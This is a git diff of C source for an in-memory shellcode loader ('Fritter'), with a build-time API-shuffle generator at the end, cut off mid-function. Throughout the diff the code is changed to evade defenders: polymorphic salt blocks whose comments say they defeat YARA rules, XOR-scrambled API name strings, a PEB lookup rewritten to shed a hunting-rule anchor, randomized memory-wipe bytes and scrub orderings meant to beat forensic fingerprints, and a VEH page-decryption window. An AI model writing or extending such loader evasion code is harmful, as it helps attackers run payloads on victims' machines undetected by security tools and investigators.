||||
|
||||
for(i=1; i<inst->api_cnt; i++) {
|
||||
/* P3 Site C - salt-cancel into a volatile mirror of inst->api_cnt,
|
||||
gated on LOADER_POLY_SALT bit 8. Mirror is read once into a
|
||||
non-volatile loop bound (no per-iter penalty). */
|
||||
volatile uint32_t _api_cnt_v = inst->api_cnt;
|
||||
#if (LOADER_POLY_SALT & 0x00000100u)
|
||||
{ uint32_t _s = ((uint32_t)LOADER_POLY_SALT << 13) ^ 0xCAFEBABEu;
|
||||
_api_cnt_v ^= _s; _api_cnt_v ^= _s; }
|
||||
#endif
|
||||
uint32_t api_cnt_local = _api_cnt_v;
|
||||
DPRINT("Resolving %i API", api_cnt_local);
|
||||
|
||||
for(i=1; i<api_cnt_local; i++) {
|
||||
DPRINT("Resolving API address for %016llX", inst->api.hash[i]);
|
||||
|
||||
inst->api.addr[i] = xGetProcAddressByHash(inst, inst->api.hash[i], inst->iv);
|
||||
@@ -288,8 +322,9 @@ erase_memory:
|
||||
// if module was downloaded
|
||||
if(inst->type == FRITTER_INSTANCE_HTTP) {
|
||||
if(inst->module.p != NULL) {
|
||||
// overwrite memory with zeros
|
||||
Memset(inst->module.p, 0, (DWORD)inst->mod_len);
|
||||
// overwrite memory with the per-build wipe byte (parity with the
|
||||
// inst wipe below; defeats post-execution zero-pattern anchors)
|
||||
Memset(inst->module.p, LOADER_WIPE_BYTE, (DWORD)inst->mod_len);
|
||||
|
||||
// free memory
|
||||
_VirtualFree(inst->module.p, 0, MEM_RELEASE | MEM_DECOMMIT);
|
||||
@@ -301,7 +336,19 @@ erase_memory:
|
||||
term = (BOOL) (inst->exit_opt == FRITTER_OPT_EXIT_PROCESS);
|
||||
|
||||
DPRINT("Erasing RW memory for instance");
|
||||
Memset(inst, 0, inst->len);
|
||||
/* Per-build wipe byte (LOADER_WIPE_BYTE from gen_poly) - defeats the
|
||||
"find a zeroed page near the decoded shim" forensic anchor. The
|
||||
data is destroyed regardless of byte value.
|
||||
P3 Site A - salt-cancel into a volatile mirror of inst->len,
|
||||
gated on LOADER_POLY_SALT bit 0. */
|
||||
{
|
||||
volatile uint32_t _wipe_sz = inst->len;
|
||||
#if (LOADER_POLY_SALT & 0x00000001u)
|
||||
{ uint32_t _s = LOADER_POLY_SALT ^ 0xA5A50000u;
|
||||
_wipe_sz ^= _s; _wipe_sz ^= _s; }
|
||||
#endif
|
||||
Memset(inst, LOADER_WIPE_BYTE, _wipe_sz);
|
||||
}
|
||||
|
||||
DPRINT("Releasing RW memory for instance");
|
||||
_VirtualFree(inst, 0, MEM_DECOMMIT | MEM_RELEASE);
|
||||
|
||||
+31
-9
@@ -41,6 +41,25 @@
|
||||
#define PEB_WALK_ORDER 1
|
||||
#endif
|
||||
|
||||
/*
|
||||
* LOADER_PEB_DIR selects traversal direction within the chosen list:
|
||||
* 0 = Flink (forward) 1 = Blink (reverse)
|
||||
*
|
||||
* The PEB module lists are doubly-linked and circular; both directions
|
||||
* visit the full set and terminate at the head's sentinel DllBase==NULL.
|
||||
* Per-build pick from gen_poly diversifies the loader's PEB-walk byte
|
||||
* patterns without changing semantics.
|
||||
*/
|
||||
#ifndef LOADER_PEB_DIR
|
||||
#define LOADER_PEB_DIR 0
|
||||
#endif
|
||||
|
||||
#if LOADER_PEB_DIR
|
||||
#define PEB_LINK_FIELD Blink
|
||||
#else
|
||||
#define PEB_LINK_FIELD Flink
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Helper macros to abstract the list + entry-to-LDR_DATA_TABLE_ENTRY conversion.
|
||||
*
|
||||
@@ -55,22 +74,25 @@
|
||||
#if PEB_WALK_ORDER == 0
|
||||
/* InLoadOrderModuleList */
|
||||
#define PEB_MODULE_LIST(ldr) ((ldr)->InLoadOrderModuleList)
|
||||
#define PEB_ENTRY_TO_DTE(flink) ((PLDR_DATA_TABLE_ENTRY)(flink))
|
||||
#define PEB_NEXT_DTE(dte) ((PLDR_DATA_TABLE_ENTRY)((dte)->InLoadOrderLinks.Flink))
|
||||
#define PEB_ENTRY_TO_DTE(link) ((PLDR_DATA_TABLE_ENTRY)(link))
|
||||
#define PEB_NEXT_DTE(dte) ((PLDR_DATA_TABLE_ENTRY)((dte)->InLoadOrderLinks.PEB_LINK_FIELD))
|
||||
#elif PEB_WALK_ORDER == 1
|
||||
/* InMemoryOrderModuleList */
|
||||
#define PEB_MODULE_LIST(ldr) ((ldr)->InMemoryOrderModuleList)
|
||||
#define PEB_ENTRY_TO_DTE(flink) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)(flink) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)))
|
||||
#define PEB_NEXT_DTE(dte) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)((dte)->InMemoryOrderLinks.Flink) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)))
|
||||
#define PEB_ENTRY_TO_DTE(link) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)(link) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)))
|
||||
#define PEB_NEXT_DTE(dte) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)((dte)->InMemoryOrderLinks.PEB_LINK_FIELD) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)))
|
||||
#elif PEB_WALK_ORDER == 2
|
||||
/* InInitializationOrderModuleList */
|
||||
#define PEB_MODULE_LIST(ldr) ((ldr)->InInitializationOrderModuleList)
|
||||
#define PEB_ENTRY_TO_DTE(flink) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)(flink) - offsetof(LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks)))
|
||||
#define PEB_NEXT_DTE(dte) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)((dte)->InInitializationOrderLinks.Flink) - offsetof(LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks)))
|
||||
#define PEB_ENTRY_TO_DTE(link) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)(link) - offsetof(LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks)))
|
||||
#define PEB_NEXT_DTE(dte) ((PLDR_DATA_TABLE_ENTRY)((PBYTE)((dte)->InInitializationOrderLinks.PEB_LINK_FIELD) - offsetof(LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks)))
|
||||
#else
|
||||
#error "PEB_WALK_ORDER must be 0, 1, or 2"
|
||||
#endif
|
||||
|
||||
/* Head-link helper: yields the appropriate Flink/Blink of the chosen list head. */
|
||||
#define PEB_HEAD_LINK(ldr) (PEB_MODULE_LIST(ldr).PEB_LINK_FIELD)
|
||||
|
||||
// find a DLL with a certain export, used by xGetProcAddress and FindExport
|
||||
LPVOID FindReference(PFRITTER_INSTANCE inst, LPVOID original_dll, PCHAR dll_name, PCHAR api_name) {
|
||||
PPEB peb;
|
||||
@@ -91,7 +113,7 @@ LPVOID FindReference(PFRITTER_INSTANCE inst, LPVOID original_dll, PCHAR dll_name
|
||||
ldr = (PPEB_LDR_DATA)peb->Ldr;
|
||||
|
||||
// for each DLL loaded
|
||||
for (dte = PEB_ENTRY_TO_DTE(PEB_MODULE_LIST(ldr).Flink);
|
||||
for (dte = PEB_ENTRY_TO_DTE(PEB_HEAD_LINK(ldr));
|
||||
dte->DllBase != NULL && addr == NULL;
|
||||
dte = PEB_NEXT_DTE(dte))
|
||||
{
|
||||
@@ -230,7 +252,7 @@ LPVOID xGetLibAddress(PFRITTER_INSTANCE inst, PCHAR search) {
|
||||
ldr = (PPEB_LDR_DATA)peb->Ldr;
|
||||
|
||||
// for each DLL loaded
|
||||
for (dte = PEB_ENTRY_TO_DTE(PEB_MODULE_LIST(ldr).Flink);
|
||||
for (dte = PEB_ENTRY_TO_DTE(PEB_HEAD_LINK(ldr));
|
||||
correct != 0 && dte->DllBase != NULL && addr == NULL;
|
||||
dte = PEB_NEXT_DTE(dte))
|
||||
{
|
||||
@@ -355,7 +377,7 @@ LPVOID xGetProcAddressByHash(PFRITTER_INSTANCE inst, ULONG64 ulHash, ULONG64 ulI
|
||||
ldr = (PPEB_LDR_DATA)peb->Ldr;
|
||||
|
||||
// for each DLL loaded
|
||||
for (dte = PEB_ENTRY_TO_DTE(PEB_MODULE_LIST(ldr).Flink);
|
||||
for (dte = PEB_ENTRY_TO_DTE(PEB_HEAD_LINK(ldr));
|
||||
dte->DllBase != NULL && addr == NULL;
|
||||
dte = PEB_NEXT_DTE(dte))
|
||||
{
|
||||
|
||||
+14
-5
@@ -355,14 +355,23 @@ typedef struct _TEB
|
||||
PVOID ReservedForWdf;
|
||||
} TEB, *PTEB;
|
||||
|
||||
// Direct PEB access via gs:[0x60] — avoids NtCurrentTeb() call pattern
|
||||
// PEB access via TEB indirection: gs:[0x30] -> TEB self pointer, then
|
||||
// load PEB from TEB+0x60. The first instruction (TEB load) is shared
|
||||
// with all legitimate TLS / thread-id / NtCurrentTeb code paths and
|
||||
// is not a meaningful YARA signal. The `gs:[0x60]` direct form, by
|
||||
// contrast, is the canonical PIC-loader fingerprint that hunting
|
||||
// rules anchor on. Using TEB indirection sheds that anchor.
|
||||
#if defined(_MSC_VER)
|
||||
#define GET_PEB() ((PPEB)__readgsqword(0x60))
|
||||
static __inline PPEB __get_peb(void) {
|
||||
void *teb = (void*)__readgsqword(0x30);
|
||||
return *(PPEB*)((char*)teb + 0x60);
|
||||
}
|
||||
#define GET_PEB() __get_peb()
|
||||
#else
|
||||
static __inline__ PPEB __get_peb(void) {
|
||||
void *p;
|
||||
__asm__ volatile("mov %%gs:0x60, %0" : "=r"(p));
|
||||
return (PPEB)p;
|
||||
void *teb;
|
||||
__asm__ volatile("mov %%gs:0x30, %0" : "=r"(teb));
|
||||
return *(PPEB*)((char*)teb + 0x60);
|
||||
}
|
||||
#define GET_PEB() __get_peb()
|
||||
#endif
|
||||
|
||||
+182
-29
@@ -24,6 +24,45 @@
|
||||
|
||||
#define RVA2VA(type, base, rva) (type)((ULONG_PTR)(base) + (rva))
|
||||
|
||||
/* Pull in the per-build polymorphism salt. SHIM_POLY_SALT is a 32-bit
|
||||
per-build random value; different bits gate different optional code
|
||||
blocks below. The blocks are no-ops at runtime (volatile reads/writes
|
||||
the compiler must materialize but whose results are discarded), but
|
||||
each #if branch emits different instruction sequences of different
|
||||
total length - defeating wildcard-positioned YARA rules. */
|
||||
#if defined(__has_include)
|
||||
# if __has_include("poly_seed.h")
|
||||
# include "poly_seed.h"
|
||||
# endif
|
||||
#endif
|
||||
#ifndef SHIM_POLY_SALT
|
||||
# define SHIM_POLY_SALT 0u
|
||||
#endif
|
||||
#ifndef SHIM_STRING_XOR
|
||||
# define SHIM_STRING_XOR 0xA5u
|
||||
#endif
|
||||
#ifndef SHIM_PEB_PICK
|
||||
# define SHIM_PEB_PICK 0u
|
||||
#endif
|
||||
#ifndef SHIM_WIPE_BYTE
|
||||
# define SHIM_WIPE_BYTE 0x00u
|
||||
#endif
|
||||
|
||||
/* Scrub-value derivations from SHIM_WIPE_BYTE - wipe-byte replicated to
|
||||
fill each width. Used for g_ctx field scrubbing; pointer fields are
|
||||
cast from the 64-bit form. With SHIM_WIPE_BYTE=0 these become 0 and
|
||||
match the original zero-scrub behavior. */
|
||||
#define SHIM_SCRUB_U32 ((uint32_t)((uint32_t)SHIM_WIPE_BYTE * 0x01010101u))
|
||||
#define SHIM_SCRUB_U64 ((uint64_t)((uint64_t)SHIM_WIPE_BYTE * 0x0101010101010101ULL))
|
||||
#define SHIM_SCRUB_PTR ((void *)(uintptr_t)SHIM_SCRUB_U64)
|
||||
|
||||
/* Stack-built API strings are XOR-scrambled with SHIM_STRING_XOR per build
|
||||
so literal "kernel32.dll" / "VirtualProtect" / "Rtl*VectoredException*"
|
||||
never materialize on the stack or in the shim's compiled .text. The null
|
||||
terminator is intentionally NOT XORed so string traversal still terminates.
|
||||
shim_strcmp / shim_stricmp XOR the scrambled side back during compare. */
|
||||
#define SX(c) ((char)((unsigned char)(c) ^ SHIM_STRING_XOR))
|
||||
|
||||
/* --- Shared VEH context --- */
|
||||
typedef struct {
|
||||
void *loader_base;
|
||||
@@ -36,11 +75,11 @@ typedef struct {
|
||||
|
||||
/*
|
||||
* g_ctx lives at the end of .text so exe2h captures it.
|
||||
* Compiler uses RIP-relative addressing — works within same section.
|
||||
* Compiler uses RIP-relative addressing - works within same section.
|
||||
*/
|
||||
extern volatile VEH_CTX g_ctx;
|
||||
|
||||
/* Sentinel values — generator patches these in the blob */
|
||||
/* Sentinel values - generator patches these in the blob */
|
||||
#define SENTINEL_LOADER_OFFSET 0xDEAD0001
|
||||
#define SENTINEL_LOADER_SIZE 0xDEAD0002
|
||||
#define SENTINEL_VEH_MODE 0xDEAD0003
|
||||
@@ -63,7 +102,7 @@ static int shim_strcmp(const char *a, const char *b);
|
||||
|
||||
|
||||
/* ================================================================
|
||||
* VehShimEntry — MUST be first function (offset 0 in .text).
|
||||
* VehShimEntry - MUST be first function (offset 0 in .text).
|
||||
* Entered via fallthrough from XOR decoder. RCX = instance pointer.
|
||||
* ================================================================ */
|
||||
void VehShimEntry(void *inst, void *shim_base) {
|
||||
@@ -73,9 +112,35 @@ void VehShimEntry(void *inst, void *shim_base) {
|
||||
volatile uint32_t pk_hi = SENTINEL_PAGE_KEY_HI;
|
||||
volatile uint32_t pk_lo = SENTINEL_PAGE_KEY_LO;
|
||||
|
||||
/* Stack-built strings — no static signatures in decoded shim */
|
||||
char s_k32[] = {'k','e','r','n','e','l','3','2','.','d','l','l',0};
|
||||
char s_vp[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0};
|
||||
/* Salt site 1 - XOR-cancel into ldr_off (gated on bit 0).
|
||||
ldr_off is already volatile so the RMW pair cannot be folded;
|
||||
the salt constant materializes as an immediate operand woven
|
||||
into real load/store sequences against a real variable, not as
|
||||
a recognizable dead-code block. */
|
||||
#if (SHIM_POLY_SALT & 0x00000001u)
|
||||
{ uint32_t _s1 = ((uint32_t)SHIM_POLY_SALT >> 1) ^ 0xA5A50000u;
|
||||
ldr_off ^= _s1; ldr_off ^= _s1; }
|
||||
#endif
|
||||
|
||||
/* Salt site 2 - XOR-cancel (or ADD/SUB-cancel) into ldr_sz,
|
||||
gated on bit 4. Nested bit 5 picks 32-bit XOR vs 16-bit
|
||||
ADD/SUB body - different operand width, different opcodes. */
|
||||
#if (SHIM_POLY_SALT & 0x00000010u)
|
||||
#if (SHIM_POLY_SALT & 0x00000020u)
|
||||
{ uint32_t _s2 = ((uint32_t)SHIM_POLY_SALT << 7) ^ 0xDEADBEEFu;
|
||||
ldr_sz ^= _s2; ldr_sz ^= _s2; }
|
||||
#else
|
||||
{ uint16_t _s2 = (uint16_t)((SHIM_POLY_SALT >> 11) + 0xCAFEu);
|
||||
ldr_sz += _s2; ldr_sz -= _s2; }
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Stack-built strings - XOR-scrambled per build via SX(). Comparison
|
||||
routines XOR the scrambled side back during compare. */
|
||||
char s_k32[] = {SX('k'),SX('e'),SX('r'),SX('n'),SX('e'),SX('l'),
|
||||
SX('3'),SX('2'),SX('.'),SX('d'),SX('l'),SX('l'),0};
|
||||
char s_vp[] = {SX('V'),SX('i'),SX('r'),SX('t'),SX('u'),SX('a'),SX('l'),
|
||||
SX('P'),SX('r'),SX('o'),SX('t'),SX('e'),SX('c'),SX('t'),0};
|
||||
|
||||
/* shim_base passed via RDX by the decoder's lea rdx,[rip] trampoline */
|
||||
void *loader_base = (char*)shim_base + ldr_off;
|
||||
@@ -88,7 +153,7 @@ void VehShimEntry(void *inst, void *shim_base) {
|
||||
|
||||
ULONG_PTR first_page = (ULONG_PTR)loader_base & ~(ULONG_PTR)0xFFF;
|
||||
ULONG_PTR last_page = ((ULONG_PTR)loader_base + ldr_sz - 1) & ~(ULONG_PTR)0xFFF;
|
||||
SIZE_T protect_len = last_page - first_page + 0x1000;
|
||||
volatile SIZE_T protect_len = last_page - first_page + 0x1000;
|
||||
DWORD old;
|
||||
|
||||
LoaderEntry_fn loader_entry = (LoaderEntry_fn)loader_base;
|
||||
@@ -99,13 +164,16 @@ void VehShimEntry(void *inst, void *shim_base) {
|
||||
loader_entry(inst);
|
||||
} else {
|
||||
/* VEH sliding window with per-page encryption */
|
||||
char s_ntdll[] = {'n','t','d','l','l','.','d','l','l',0};
|
||||
char s_addveh[] = {'R','t','l','A','d','d','V','e','c','t','o','r','e','d',
|
||||
'E','x','c','e','p','t','i','o','n','H','a','n','d','l',
|
||||
'e','r',0};
|
||||
char s_remveh[] = {'R','t','l','R','e','m','o','v','e','V','e','c','t','o',
|
||||
'r','e','d','E','x','c','e','p','t','i','o','n','H','a',
|
||||
'n','d','l','e','r',0};
|
||||
char s_ntdll[] = {SX('n'),SX('t'),SX('d'),SX('l'),SX('l'),SX('.'),
|
||||
SX('d'),SX('l'),SX('l'),0};
|
||||
char s_addveh[] = {SX('R'),SX('t'),SX('l'),SX('A'),SX('d'),SX('d'),
|
||||
SX('V'),SX('e'),SX('c'),SX('t'),SX('o'),SX('r'),SX('e'),SX('d'),
|
||||
SX('E'),SX('x'),SX('c'),SX('e'),SX('p'),SX('t'),SX('i'),SX('o'),SX('n'),
|
||||
SX('H'),SX('a'),SX('n'),SX('d'),SX('l'),SX('e'),SX('r'),0};
|
||||
char s_remveh[] = {SX('R'),SX('t'),SX('l'),SX('R'),SX('e'),SX('m'),SX('o'),SX('v'),SX('e'),
|
||||
SX('V'),SX('e'),SX('c'),SX('t'),SX('o'),SX('r'),SX('e'),SX('d'),
|
||||
SX('E'),SX('x'),SX('c'),SX('e'),SX('p'),SX('t'),SX('i'),SX('o'),SX('n'),
|
||||
SX('H'),SX('a'),SX('n'),SX('d'),SX('l'),SX('e'),SX('r'),0};
|
||||
|
||||
void *ntdll = shim_find_dll(s_ntdll);
|
||||
if (!ntdll) return;
|
||||
@@ -113,7 +181,17 @@ void VehShimEntry(void *inst, void *shim_base) {
|
||||
RemVEH_fn pRemVEH = (RemVEH_fn)shim_get_export(ntdll, s_remveh);
|
||||
if (!pAddVEH || !pRemVEH) return;
|
||||
|
||||
uint64_t page_key = ((uint64_t)pk_hi << 32) | (uint64_t)pk_lo;
|
||||
volatile uint64_t page_key = ((uint64_t)pk_hi << 32) | (uint64_t)pk_lo;
|
||||
|
||||
/* Salt site 3 - XOR-cancel into page_key, gated on bit 8.
|
||||
page_key is volatile so the cancel pair is preserved.
|
||||
Salt is mixed via mul + xor for a wider emitted operand
|
||||
(REX.W + 64-bit immediate path). */
|
||||
#if (SHIM_POLY_SALT & 0x00000100u)
|
||||
{ uint64_t _s3 = ((uint64_t)SHIM_POLY_SALT << 13) ^ 0xC0FFEEBABEDEADAULL;
|
||||
_s3 *= 0x9E3779B97F4A7C15ULL; /* fractional bits of phi */
|
||||
page_key ^= _s3; page_key ^= _s3; }
|
||||
#endif
|
||||
|
||||
g_ctx.loader_base = loader_base;
|
||||
g_ctx.loader_size = ldr_sz;
|
||||
@@ -128,27 +206,79 @@ void VehShimEntry(void *inst, void *shim_base) {
|
||||
|
||||
PVOID veh_handle = pAddVEH(1, SlidingVehHandler);
|
||||
|
||||
/* First instruction of loader faults — VEH decrypts page 0 */
|
||||
/* First instruction of loader faults - VEH decrypts page 0 */
|
||||
loader_entry(inst);
|
||||
|
||||
if (veh_handle) pRemVEH(veh_handle);
|
||||
|
||||
/* Wipe all loader pages — anti-forensics */
|
||||
/* Salt site 4 - XOR/ADD-cancel into protect_len, gated on bit 12.
|
||||
Nested bits 13-14 pick three body shapes of different operand
|
||||
widths (32-bit XOR / 64-bit ADD-SUB / 8-bit XOR) - same null
|
||||
net effect, different emitted opcodes. protect_len is volatile
|
||||
so the cancel pair survives -Os. */
|
||||
#if (SHIM_POLY_SALT & 0x00001000u)
|
||||
#if (SHIM_POLY_SALT & 0x00002000u)
|
||||
{ uint32_t _s4 = SHIM_POLY_SALT ^ 0x13371337u;
|
||||
_s4 = (_s4 + 0x9E3779B9u) ^ (_s4 << 5);
|
||||
protect_len ^= (SIZE_T)_s4; protect_len ^= (SIZE_T)_s4; }
|
||||
#elif (SHIM_POLY_SALT & 0x00004000u)
|
||||
{ uint64_t _s4 = ((uint64_t)SHIM_POLY_SALT * 0xFFFFFFFFu) + 0xBADCAFEu;
|
||||
protect_len += (SIZE_T)_s4; protect_len -= (SIZE_T)_s4; }
|
||||
#else
|
||||
{ uint8_t _s4 = (uint8_t)((SHIM_POLY_SALT >> 19) ^ 0x5A);
|
||||
protect_len ^= (SIZE_T)_s4; protect_len ^= (SIZE_T)_s4; }
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Wipe all loader pages - anti-forensics. Per-build wipe byte
|
||||
(SHIM_WIPE_BYTE from gen_poly) defeats the "freshly-zeroed
|
||||
multi-page RWX region near the still-mapped shim" forensic
|
||||
anchor. Data is destroyed regardless of byte value. */
|
||||
pVP((void*)first_page, protect_len, PAGE_READWRITE, &old);
|
||||
{
|
||||
uint8_t *w = (uint8_t *)first_page;
|
||||
for (SIZE_T z = 0; z < protect_len; z++) w[z] = 0;
|
||||
for (SIZE_T z = 0; z < protect_len; z++) w[z] = SHIM_WIPE_BYTE;
|
||||
}
|
||||
|
||||
/* Scrub VEH context */
|
||||
g_ctx.loader_base = 0;
|
||||
g_ctx.loader_size = 0;
|
||||
g_ctx.pfnVirtualProtect = 0;
|
||||
g_ctx.last_rx_page = 0;
|
||||
g_ctx.page_master_key = 0;
|
||||
g_ctx.page_encrypted = 0;
|
||||
/* Scrub VEH context - Q3+Q4: per-build pattern (SHIM_WIPE_BYTE
|
||||
replicated per field width) breaks the "all-zero VEH_CTX"
|
||||
forensic fingerprint, AND the 6 scrub stores are emitted in
|
||||
one of 4 orderings picked from SHIM_POLY_SALT bits 16-17.
|
||||
g_ctx is volatile, so each store is preserved. Safe because
|
||||
g_ctx is never referenced after this block. */
|
||||
#define SCRUB_LDR_BASE() (g_ctx.loader_base = SHIM_SCRUB_PTR)
|
||||
#define SCRUB_VP() (g_ctx.pfnVirtualProtect = SHIM_SCRUB_PTR)
|
||||
#define SCRUB_RX_PAGE() (g_ctx.last_rx_page = SHIM_SCRUB_PTR)
|
||||
#define SCRUB_LDR_SIZE() (g_ctx.loader_size = SHIM_SCRUB_U32)
|
||||
#define SCRUB_PG_ENC() (g_ctx.page_encrypted = SHIM_SCRUB_U32)
|
||||
#define SCRUB_PG_KEY() (g_ctx.page_master_key = SHIM_SCRUB_U64)
|
||||
|
||||
#if ((SHIM_POLY_SALT >> 16) & 0x3u) == 0u
|
||||
/* Order 0 - original declaration sequence */
|
||||
SCRUB_LDR_BASE(); SCRUB_VP(); SCRUB_RX_PAGE();
|
||||
SCRUB_LDR_SIZE(); SCRUB_PG_ENC(); SCRUB_PG_KEY();
|
||||
#elif ((SHIM_POLY_SALT >> 16) & 0x3u) == 1u
|
||||
/* Order 1 - reverse */
|
||||
SCRUB_PG_KEY(); SCRUB_PG_ENC(); SCRUB_LDR_SIZE();
|
||||
SCRUB_RX_PAGE(); SCRUB_VP(); SCRUB_LDR_BASE();
|
||||
#elif ((SHIM_POLY_SALT >> 16) & 0x3u) == 2u
|
||||
/* Order 2 - pointers first, then numerics */
|
||||
SCRUB_LDR_BASE(); SCRUB_RX_PAGE(); SCRUB_VP();
|
||||
SCRUB_PG_KEY(); SCRUB_LDR_SIZE(); SCRUB_PG_ENC();
|
||||
#else
|
||||
/* Order 3 - numerics first, then pointers (interleaved) */
|
||||
SCRUB_PG_ENC(); SCRUB_LDR_SIZE(); SCRUB_PG_KEY();
|
||||
SCRUB_VP(); SCRUB_RX_PAGE(); SCRUB_LDR_BASE();
|
||||
#endif
|
||||
|
||||
#undef SCRUB_LDR_BASE
|
||||
#undef SCRUB_VP
|
||||
#undef SCRUB_RX_PAGE
|
||||
#undef SCRUB_LDR_SIZE
|
||||
#undef SCRUB_PG_ENC
|
||||
#undef SCRUB_PG_KEY
|
||||
}
|
||||
/* Note: we can't drop X from the shim page here — the function epilogue
|
||||
/* Note: we can't drop X from the shim page here - the function epilogue
|
||||
(pop rbp / ret) still needs to execute on this page after we return.
|
||||
VEH is deregistered and g_ctx is scrubbed; the 4KB RWX shim page is
|
||||
the residual footprint. */
|
||||
@@ -164,7 +294,7 @@ static void xor_page(void *page_addr, uint64_t master_key, uint32_t page_index)
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* VEH Handler — decrypts/re-encrypts a 1-page RX window across
|
||||
* VEH Handler - decrypts/re-encrypts a 1-page RX window across
|
||||
* the loader. Only one page of cleartext exists at any time.
|
||||
* ================================================================ */
|
||||
static LONG CALLBACK SlidingVehHandler(PEXCEPTION_POINTERS ep) {
|
||||
@@ -215,12 +345,23 @@ static void *shim_find_dll(char *dll_name) {
|
||||
PPEB peb = GET_PEB();
|
||||
PPEB_LDR_DATA ldr = peb->Ldr;
|
||||
|
||||
/* Per-build PEB list pick - mirrors loader's 1-of-2 selection.
|
||||
Both lists contain kernel32 and ntdll (the only DLLs we resolve). */
|
||||
#if SHIM_PEB_PICK
|
||||
PLIST_ENTRY head = &ldr->InInitializationOrderModuleList;
|
||||
#else
|
||||
PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
|
||||
#endif
|
||||
PLIST_ENTRY entry = head->Flink;
|
||||
|
||||
while (entry != head) {
|
||||
#if SHIM_PEB_PICK
|
||||
PLDR_DATA_TABLE_ENTRY dte = (PLDR_DATA_TABLE_ENTRY)(
|
||||
(PBYTE)entry - (ULONG_PTR)&((PLDR_DATA_TABLE_ENTRY)0)->InInitializationOrderLinks);
|
||||
#else
|
||||
PLDR_DATA_TABLE_ENTRY dte = (PLDR_DATA_TABLE_ENTRY)(
|
||||
(PBYTE)entry - (ULONG_PTR)&((PLDR_DATA_TABLE_ENTRY)0)->InMemoryOrderLinks);
|
||||
#endif
|
||||
|
||||
if (dte->DllBase != 0) {
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dte->DllBase;
|
||||
@@ -259,9 +400,14 @@ static void *shim_get_export(void *base, char *api_name) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Convention: a = plaintext (from PEB module name / export name table),
|
||||
b = scrambled stack-built string. XOR b's char with SHIM_STRING_XOR
|
||||
to recover its plaintext for comparison. The null terminator is NOT
|
||||
scrambled, so loop termination works naturally. */
|
||||
static int shim_stricmp(const char *a, const char *b) {
|
||||
while (*a && *b) {
|
||||
if ((*a | 0x20) != (*b | 0x20)) return 1;
|
||||
char bc = (char)((unsigned char)*b ^ SHIM_STRING_XOR);
|
||||
if ((*a | 0x20) != (bc | 0x20)) return 1;
|
||||
a++; b++;
|
||||
}
|
||||
return (*a != *b) ? 1 : 0;
|
||||
@@ -269,12 +415,19 @@ static int shim_stricmp(const char *a, const char *b) {
|
||||
|
||||
static int shim_strcmp(const char *a, const char *b) {
|
||||
while (*a && *b) {
|
||||
if (*a != *b) return 1;
|
||||
char bc = (char)((unsigned char)*b ^ SHIM_STRING_XOR);
|
||||
if (*a != bc) return 1;
|
||||
a++; b++;
|
||||
}
|
||||
return (*a != *b) ? 1 : 0;
|
||||
}
|
||||
|
||||
/* g_ctx in .text so exe2h captures it. Placed after all functions. */
|
||||
#ifdef _MSC_VER
|
||||
#pragma section(".text", read, write, execute)
|
||||
__declspec(allocate(".text"))
|
||||
volatile VEH_CTX g_ctx = { 0, 0, 0, 0, 0, 0 };
|
||||
#else
|
||||
__attribute__((section(".text"), used))
|
||||
volatile VEH_CTX g_ctx = { 0, 0, 0, 0, 0, 0 };
|
||||
#endif
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
* gen_api_shuffle - reads include/api_master.h, shuffles its XAPI
|
||||
* lines (slot 0 pinned), writes include/api_shuffle.h.
|
||||
*
|
||||
* fritter.h and fritter.c both #include "api_shuffle.h" with their
|
||||
* own XAPI macro definition, so the typed-struct layout and the
|
||||
* api_imports[] table cannot disagree by construction.
|
||||
*
|
||||
* Seeding: same FRITTER_BUILD_SEED env var as gen_poly. The seed is
|
||||
* mixed once before use so the api shuffle does not lock-step with
|
||||
* the cipher/hash constants - same seed reproduces both, but they
|
||||
* vary independently as the seed changes.
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define MAX_LINES 256
|
||||
#define MAX_LINE_LEN 1024
|
||||
|
||||
static uint32_t xorshift32(uint32_t *s) {
|
||||
uint32_t x = *s;
|
||||
x ^= x << 13;
|
||||
x ^= x >> 17;
|
||||
x ^= x << 5;
|
||||
return *s = x;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
const char *master_path = (argc > 1) ? argv[1] : "include/api_master.h";
|
||||
const char *out_path = (argc > 2) ? argv[2] : "include/api_shuffle.h";
|
||||
|
||||
FILE *f = fopen(master_path, "r");
|
||||
if (!f) { fprintf(stderr, "gen_api_shuffle: cannot open %s\n", master_path); return 1; }
|
||||
|
||||
char *lines[MAX_LINES] = {0};
|
||||
int n = 0;
|
||||
char buf[MAX_LINE_LEN];
|
||||
while (fgets(buf, sizeof(buf), f)) {
|
||||
const char *p = buf;
|
||||
while (*p == ' ' || *p == '\t') p++;
|
||||
if (strncmp(p, "XAPI(", 5) != 0) continue;
|
||||
if (n >= MAX_LINES) {
|
||||
fprintf(stderr, "gen_api_shuffle: too many XAPI lines (max %d)\n", MAX_LINES);
|
||||
return 1;
|
||||
}
|
||||
size_t len = strlen(buf);
|
||||
char *copy = (char *)malloc(len + 1);
|
||||
if (!copy) { fprintf(stderr, "gen_api_shuffle: oom\n"); return 1; }
|
||||
